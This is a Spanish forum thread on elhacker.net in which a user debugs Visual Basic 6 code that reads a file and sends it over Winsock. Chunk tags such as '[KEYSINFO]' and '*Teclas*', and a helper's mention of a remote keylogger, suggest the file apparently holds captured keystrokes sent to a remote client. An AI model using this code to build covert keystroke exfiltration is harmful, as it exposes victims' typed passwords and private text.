Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ŞCØRPIØN-X3 en 22 Abril 2011, 02:33 am



Título: [SOLUCIONADO] Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 22 Abril 2011, 02:33 am
wenas, modifique un code que lo que hace es abrir un archivo en binario y lo va enviando por parte usando winsock para luego ser mostrado en el otro formulario, este es el code:

Código:
Dim buf As String * 1024
Dim Todox As String
Open "C:\Archivo.txt" For Binary As #2
    Do While Not EOF(2)
        DoEvents
        Get #2, , buf
        Todox = "[KEYSINFO]" & Todox & buf
    Loop
Close
Form1.Winsock1.SendData Todox

el problema que tengo es que me tira error en la linea:

Código:
Do While Not EOF(2)

lo mas raro es que si lo ejecuto en un proyecto limpio funciona pero dentro de mi proyecto no funciona es como que entra en conflicto con otra funcion y nose que podra ser..  :huh: :huh: :-(  >:(

El error que me da es: nombre o numero de archivo incorrecto

gracias por su tiempo, espero sus respuestas  ;D


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 22 Abril 2011, 10:24 am
.
usa freefile

Código
  1.  
  2. Dim ff as integer
  3.    ff= freefile
  4.    if dir ( <ArchivoX> , vbarchive ) <> "" then
  5.        open <ArchivoX> <criterios> as ff
  6.            ... EOF(ff) ...
  7.        close ff
  8.    end if
  9.  
  10.  


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 23 Abril 2011, 01:31 am
hola, muchas gracias por el code pero usando ese code tambien me tira error  :huh: pero si lo pongo en un proyecto limpio si funciona  :huh: la verdad que no entiendo que pasa u.u  :-( :-( nose tampoco que parte del code poner porque nose donde esta el error ¬¬ porfavor si alguien puede darme aunque sea una posible falla me avisa please :D :D
asi quedo el code usando freefile:

Código
  1. Dim bufx As String * 1024
  2. Dim Todox As String
  3. Dim ff As Integer
  4. ff = FreeFile
  5.  
  6. Open "C:\Archivo.txt" For Binary As ff
  7.    Do While Not EOF(ff)
  8.        DoEvents
  9.        Get ff, , bufx
  10.        Todox = Todox & bufx
  11.    Loop
  12. Close ff
  13. Form1.Winsock1.SendData Todox


Título: Re: Problema al abrir archivo para enviar
Publicado por: Edu en 23 Abril 2011, 01:40 am
Creo q la idea en si esta mal pensada o no la entendi


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 23 Abril 2011, 01:54 am
a que te referis no entendi xD, mira el archivo que necesito enviar por winsock es muy grande entonces con ese code lo que ago es abrirlo en binario y lo voy almacenando en buf que a la ves lo va enviando, basicamente lo que hace es enviarlo por partes usando winsock, ya que el winsock tiene un limite de bytes a enviar. Y lo que pasa es que parece que entra en conflicto con alguna lineas de mi proyecto  :huh: :huh:


Título: Re: Problema al abrir archivo para enviar
Publicado por: Edu en 23 Abril 2011, 02:07 am
Pero digo q por lo q leo enviara todo el contenido del archivo de una :S
Tendrias q poner el senddata dentro del bucle y sacar eso de todox y solo ir enviando buf.
Talvez me equivoco no se, pero de ultima ese no es tu problema, ni idea porq te dice ese error q nombras..


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 23 Abril 2011, 07:23 am
no esta bien el code pero lo que pasa es que en micode entra en conflicto con algo, porque si lo pongo en un proyecto limpio el code anda re bien y manda bien los datos pero cuando lo agrego a mi code tira ese error pero creo que ya se porque es mañana voy a hacer unas pruebas aver que pasa xD y posteo como me fue :P gracias por responder a los dos :D


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 23 Abril 2011, 10:39 am
.
Intenta así al do while hay que meterle una expresion no obvia cosas con not xS

Código
  1.  
  2. Do While EOF(ff) = false
  3.  
  4.  

pero veo que hacer algo muy lineal que no tiene caso asi que intenta mejor asi:

Código
  1.  
  2. const sfile as string = "C:\Archivo.txt"
  3. Dim bBuff() As byte  '  // usamos byte por que con string nos consumira el doble de memoria.
  4. Dim ff      As Integer
  5.    if (dir(sfile,vbarchive)<>"") then
  6.        ff = FreeFile
  7.        Open (sfile) For Binary As ff
  8.            if ( LOF(ff) > 0 ) then
  9.                redim bBuff( 0 to (LOF(ff)-1) ) ' // con una string seria    sBuff=space(LOF(ff))    sin el "-1"
  10.                Get ff, , bBuff
  11.            end if
  12.        Close ff
  13.        Form1.Winsock1.SendData bBuff
  14.    end if
  15.  
  16.  

P.D.: no tengo instalado el vb asi que espero funcione lo que te he puesto.

Dulces Lunas!¡.
-


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 25 Abril 2011, 21:47 pm
gracias por la respuesta, estoy probando pero le falta el loop para que se repita la operación y falta ponerle un limite a bBuf


Título: Re: Problema al abrir archivo para enviar
Publicado por: raul338 en 25 Abril 2011, 21:58 pm
lei el temas muy por arriba. Capaz que ya abris el archivo antes y no lo cerras a tiempo, entonces lo terminas abriendo 2 veces. Pone puntos de interrupcion y depura tu programa


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 25 Abril 2011, 22:54 pm
gracias por la respuesta, estoy probando pero le falta el loop para que se repita la operación y falta ponerle un limite a bBuf

Analisa el 2do codigo... por otro lado el 1ro es solo una parte tampoco te dare todo el codigo ¬¬!.

Dulces Lunas1¡.
.


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 25 Abril 2011, 23:15 pm
si lo analise y ya probe pero no va sigue con lo mismo ¬¬ no es el code sino que entra en conflicto con algo, como ago para ejecutar mi programa sin tener que generarlo y sin tener que borrar parte del code. Lo que pasa es que mi code tiene funciones que necesita estar generado para que funcionen :S, el otro dia por probar esto mismo borre todo el load de mi proyecto y mi hermano lo guardo y lo cerro cuando yo no estaba ¬¬ estuve una semana reconstruyendo lo que perdi :'(


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 26 Abril 2011, 01:54 am
.
Tienes Varias Opciones para corregir el Código fuente como son:

Puntos de interrupción.
Recorrer linea a linea el código fuente.
...
Analizar el flujo del programa.
Depuración Parcial.
Depuración Completa.

y como sabrán muchos estas opciones están en los menús del IDE...

tal y como tijo RAUL338


Dulces Lunas!¡.
.


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 27 Abril 2011, 22:14 pm
me podrias guiar un poco en eso porfavor?, nunk e utilizado esas funciones :S nose cual es el menu IDE

En el menu de depuracion esta la opcion para poner puntos de interrupcion pero nose para que sirve ni como se usa xD


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 27 Abril 2011, 22:33 pm
.
Oprime F8 y veras...

Aun así mírate esto: http://msdn.microsoft.com/es-es/library/ktf38f66(v=vs.80).aspx

Dulces Lunas!¡.


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 28 Abril 2011, 21:10 pm
Gracias BlackZero ya logre solucionar lo del error, ahora el problema es el siguiente :s. Yo envio los datos por winsock con una frase que lo identifique delante. Y el receptor al recibir la informacion, corta los primeros 5 digitos y hace comparaciones para saber de que texto se trata. Lo que pasa es que en el code nose porque no me funciona :S, este seria el Cliente:

Código:
Dim Texto As String
Dim Identificar As String
Winsock1.GetData Texto

Identificar = Left(Texto, 6)

If Identificar = "Teclas" Then
    Case "Teclas"
        Archivo = Archivo & Texto
        If Len(Archivo) >= Largo Then
            RichTextBox1.Text = Archivo
            Largo = 0
        End If
    End Select
End If

 y este el Servidor:

Código:
Dim buf As String * 1024
Dim Todox As String
Open "C:\Archivo.txt" For Binary As #1
    Do While EOF(1) = False
        DoEvents
        Get #1, , buf
        Todox = Todox & buf
    Loop
Close #1
Winsock1.SendData "Teclas" & Todox

perdon por tantas preguntas :S espero que me puedan ayudar  :-[  >:(

muchas gracias BlackZerox por tu tiempo :D


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 28 Abril 2011, 23:13 pm
.
No te recomiendo que lo hagas de esa manera es poco optimo mejor create un protocolo Ej:

Peticion de envio:  SendData <Argumentos>   El servidor debera responde con el mismo mensaje solo que con un true o false segun el caso si es true pasa a mandar el cliente el siguiente comando que serian:
Recepcion de Datos: InfoData <Argumentos> donde argumentos contiene TODA la informacion nesesaria por ejemplo el nombre del archivo, Peso del archivo.
y cuando termine de enviar los datos el servidor que es quien en ese momento esta contando los bytes cuando llegue a el ultimo envie el:
ReportData <Argumentos> donde argumentos es un reporte general y detallo de lo que se recivio.

Ejemplo del flujo:

Código:

//Suponiendo el flujo normal de transicion:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData True
Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30
Servidor: SendData true
Cliente: manda todos los bytes de manera Compulsiva hasta que termina..
Servidor: Contara los bytes cuando llegue a 102400 segun lo que el cliente a dicho que enviara con el comando InfoData o que haya un retardo de 30 segundos que no se envien datos terminara de resivir los bytes y procedera a el siguiente comando:
Servidor: ReportData c:\|filenew.exe|102400
//Termina.


Código:

//Suponiendo que el servidor no permite la resepcion de transferencias:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData False
//Termina.


Código:

//Otro caso peculiar de este protocolo seria que terminara hasta aqui:
//Suponiendo el flujo normal de transicion:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData True
Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30
Servidor: SendData false //si no hubiera espacio en disco, ya existe el archivo, claro este deberia ser mejor con algun numero que representara el estado por el cual no a seguido en lugar de un true y false ( 0 = Ok, 1=Archivoexistente, 2=Espacio en disco insuficiente, etc... )
//Termina.


SDe esta manera tu programa sera maleable y adaptable a un standart en tu programa y no a algo muy lineal... un ejemplo de esto es que mas o menos haci trabaja el protocolo HTTP 1.1 claro es mas complejo pero es similar.

Temibles Lunas!¡.


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 29 Abril 2011, 00:51 am
lo que pasa es que mi proyecto realiza mas de 20 acciones, tengo que indicarle las diferentes cosas al servidor, porejemplo si desde el cliente pido informacion de un archivo X.txt que al recibirlo el cliente lo ponga en un textbox1 y si pido la informacion de la PC porejemplo en el cliente me lo muestre en otro textbox. Nose si entendi bien, si es que te referias que es poco optimo enviar asi : winsock1.senddata "Dato1" & "Informacion a enviar"
y que en el cliente corte los primeros digitos dependiendo el largo del nombre y comprueba que dato es el que se esta recibiendo


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 29 Abril 2011, 01:05 am
.
Se a lo que te refieres, pero de manera en la que te di un tip es decisión tuya tomarla/manipularla/moldearla al gusto, igual lo que haces se te hace facil pero es mas laborioso en la forma practica aun que ahorita no lo sientas asi cuando quieras editar el programa uff te daras topes, ademas u protocolo que sea moldeable no solo servira con archivos puede servir para un key logger remoto, envió de cualquier tipo de información bueno vaya es mas dinamico y su código es mas re-utilizable, es decir que tu codigo puede reutilizr ese protocolo con números que indican algo a el servidor o al cliente y por medio de los mismo saber que se esta haciendo (Select Case), asi da igual que tengas 10, 20 30 o 1000 acciones distintas...

por utimo tu problema de los sockets se resuelve con esto que te menciono, ya que si sigues haciendo eso digamos que dentro del archivo esta la palabra "teclas" y esa palabra es reservada de alguna manera en tu programa para idenficar los datos respectivos, vaya que dilema no?, Solución un protocolo dinamico...

P.D.: Mo tomes una solucion apra algo en espesifico moldeala para varios casos no le cierres las expanciones posibles, si tomas la desicion de hacer el protocolo te recomiendo antes agarrar una hoja de papel y escribir hay cada parabra o comando reservado y su forma de la manera mas reducida moldeable y adaptable posible, tomando en consideracion casos nulos y Medios ( parametros completos o medios con en el ejemplo anterior ).

Dulces Lunas!¡.


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 30 Abril 2011, 23:41 pm
gracias por tu respuesta blackzero, no entendi muy bien el tip que me pusiste, modificando un poco el codigo que tenia, logre realizar que se envien bien los datos, pero nose porque motivo el identificador que envio figura en el richtextbox. El codigo en el cliente quedo asi:

Código:
dim Identificador as string
dim Datos as string

Winsock1.GetData Datos

Identificador = Left(Datos, 8)
[b]Datos = Right(Datos, Len(Datos) - 8)[/b] 'Le borro a "Datos" los primeros 8 digitos que corresponden al indentificador

If Identificador = "*Teclas*" Then
        Archivo = Archivo & Datos
        RichTextBox1.Text = Archivo
End If

y el del servidor quedo asi:

Código:
Dim buf As String * 1024
Open App.path & "\Archivo.txt" For Binary As #3
    Do While EOF(3) = False
        DoEvents
        Get #3, , buf
        Winsock1.SendData "*Teclas*" & buf
    Loop
Close #3

El identificador es "*Teclas*", y supuestamente no tendria que escribirse en el richtextbox ya que al principio del code borra los primeros digitos que corresponden al identificador.

espero que me puedan ayudar  :-\ muchas gracias por su tiempo, BlackZero gracias por los codes que me has pasado ;)


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 4 Mayo 2011, 21:14 pm
:/ nadie me puede ayudar?


Título: Re: Problema al abrir archivo para enviar
Publicado por: DarkMatrix en 5 Mayo 2011, 06:44 am
Mas claro que lo que dijo BlackZeroX▓▓▒▒░░ imposible...

Si aun se te complica, espesifica bien en donde te enredas. Saludos!


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 6 Mayo 2011, 19:17 pm
es que lo que necesito es que me ayuden a deducir como hacer para que este code envie bien los datos, envia todos los datos pero cada 1024 bytes se repite la palabra "*Teclas*" y que supuestamente no tendria que aparecer porque al principio del code borro los primeros 8 digitos que corresponden a la frase *Teclas* pero igual lo escribe en el richtextbox :S

gracias por tu respuesta blackzero, no entendi muy bien el tip que me pusiste, modificando un poco el codigo que tenia, logre realizar que se envien bien los datos, pero nose porque motivo el identificador que envio figura en el richtextbox. El codigo en el cliente quedo asi:

Código:
dim Identificador as string
dim Datos as string

Winsock1.GetData Datos

Identificador = Left(Datos, 8)
[b]Datos = Right(Datos, Len(Datos) - 8)[/b] 'Le borro a "Datos" los primeros 8 digitos que corresponden al indentificador

If Identificador = "*Teclas*" Then
        Archivo = Archivo & Datos
        RichTextBox1.Text = Archivo
End If

y el del servidor quedo asi:

Código:
Dim buf As String * 1024
Open App.path & "\Archivo.txt" For Binary As #3
    Do While EOF(3) = False
        DoEvents
        Get #3, , buf
        Winsock1.SendData "*Teclas*" & buf
    Loop
Close #3

El identificador es "*Teclas*", y supuestamente no tendria que escribirse en el richtextbox ya que al principio del code borra los primeros digitos que corresponden al identificador.

espero que me puedan ayudar  :-\ muchas gracias por su tiempo, BlackZero gracias por los codes que me has pasado ;)



Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 6 Mayo 2011, 19:21 pm
.
No te recomiendo que lo hagas de esa manera es poco optimo mejor create un protocolo Ej:

Peticion de envio:  SendData <Argumentos>   El servidor debera responde con el mismo mensaje solo que con un true o false segun el caso si es true pasa a mandar el cliente el siguiente comando que serian:
Recepcion de Datos: InfoData <Argumentos> donde argumentos contiene TODA la informacion nesesaria por ejemplo el nombre del archivo, Peso del archivo.
y cuando termine de enviar los datos el servidor que es quien en ese momento esta contando los bytes cuando llegue a el ultimo envie el:
ReportData <Argumentos> donde argumentos es un reporte general y detallo de lo que se recivio.

Ejemplo del flujo:

Código:

//Suponiendo el flujo normal de transicion:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData True
Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30
Servidor: SendData true
Cliente: manda todos los bytes de manera Compulsiva hasta que termina..
Servidor: Contara los bytes cuando llegue a 102400 segun lo que el cliente a dicho que enviara con el comando InfoData o que haya un retardo de 30 segundos que no se envien datos terminara de resivir los bytes y procedera a el siguiente comando:
Servidor: ReportData c:\|filenew.exe|102400
//Termina.


Código:

//Suponiendo que el servidor no permite la resepcion de transferencias:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData False
//Termina.


Código:

//Otro caso peculiar de este protocolo seria que terminara hasta aqui:
//Suponiendo el flujo normal de transicion:
Cliente: SendData // si se manda el mensaje vacio es solo para verificar estatus...
Servidor: SendData True
Cliente: InfoData Archivo.exe|102400|c:\|filenew.exe|30
Servidor: SendData false //si no hubiera espacio en disco, ya existe el archivo, claro este deberia ser mejor con algun numero que representara el estado por el cual no a seguido en lugar de un true y false ( 0 = Ok, 1=Archivoexistente, 2=Espacio en disco insuficiente, etc... )
//Termina.


SDe esta manera tu programa sera maleable y adaptable a un standart en tu programa y no a algo muy lineal... un ejemplo de esto es que mas o menos haci trabaja el protocolo HTTP 1.1 claro es mas complejo pero es similar.

Temibles Lunas!¡.

la verdad esto no lo entiendo muy bien, no logro deducir comoi hace para enviar los datos porque el winsock tiene un maximo de bytes que se puede enviar :S


Título: Re: Problema al abrir archivo para enviar
Publicado por: BlackZeroX en 7 Mayo 2011, 01:47 am
@ŞCØRPIØN-X3@

Es cierto pero no es cierto, en primera si estuvieras trabajando directamente con las apis podrias cambiar los buffers, y en segunda por que ese buffer ya esta administrado ( en el OCX ) en otras palabras yo puedo mandar esto sin problemas!¡.

Este código ya te lo había dado y es lo mismo que haces tu solo que sin un do loop que es innecesario, (http://foro.elhacker.net/programacion_visual_basic/problema_al_abrir_archivo_para_enviar-t325341.0.html;msg1606117#msg1606117)
Código
  1.  
  2. const sfile as string = "C:\Archivo.txt"
  3. Dim bBuff() As byte  '  // usamos byte por que con string nos consumira el doble de memoria.
  4. Dim ff      As Integer
  5.    if (dir(sfile,vbarchive)<>"") then
  6.        ff = FreeFile
  7.        Open (sfile) For Binary As ff
  8.            if ( LOF(ff) > 0 ) then
  9.                redim bBuff( 0 to (LOF(ff)-1) ) ' // con una string seria    sBuff=space(LOF(ff))    sin el "-1"
  10.                Get ff, , bBuff
  11.            end if
  12.        Close ff
  13.        Form1.Winsock1.SendData bBuff
  14.    end if
  15.  
  16.  

Si traduces lo que te he dicho aqui podras hacerlo facilmente...

En el servidor en el DataRequest vendra a ser esto mas o menos asi:

Código
  1.  
  2. if not (bCmd1 and bCmd2) then
  3.        bCmd1 = ("comando1" = left$(vData,8) and bCmd2 = false)
  4.        bCmd2 = ("comando2" = left$(vData,8) and bCmd1 = false)
  5. elseif bCmd1 then
  6. '// To lo que se resiva ahora sera del comando1
  7. elseif bCmd2 then
  8. '// To lo que se resiva ahora sera del comando2
  9. else
  10. '// comando Erroneo
  11. end if
  12.  
  13.  

Igual es solo una idea no esta completo, Deberias depurar tu codigo y quitar ese Do Loop y armar el buffer ya que no hace nada importante, aun que quisas querias mandar el archivo por paquetes de 1024b, entonces hay le falto meter dentro la instruccion del winsock, pero si no es eso, entonces nesesitas limpiar la variable del servidor, es decir pueden ser mil y un cosas.

Dulces Lunas!¡.
.


Título: Re: Problema al abrir archivo para enviar
Publicado por: ŞCØRPIØN-X3 en 12 Mayo 2011, 23:34 pm
muchas gracias al final si lo habia solucionado pero no tuve tiempo de comentar xD lo que hice fue encender una "llave" al recibir el identificador, asi todo el codigo que se reciba se almacene en el rich, una ves recibido todos los datos lo cierra. No es una muy buena solucion pero asi me anda bien xD. Muchas gracias por su ayuda.

Tema Solucionado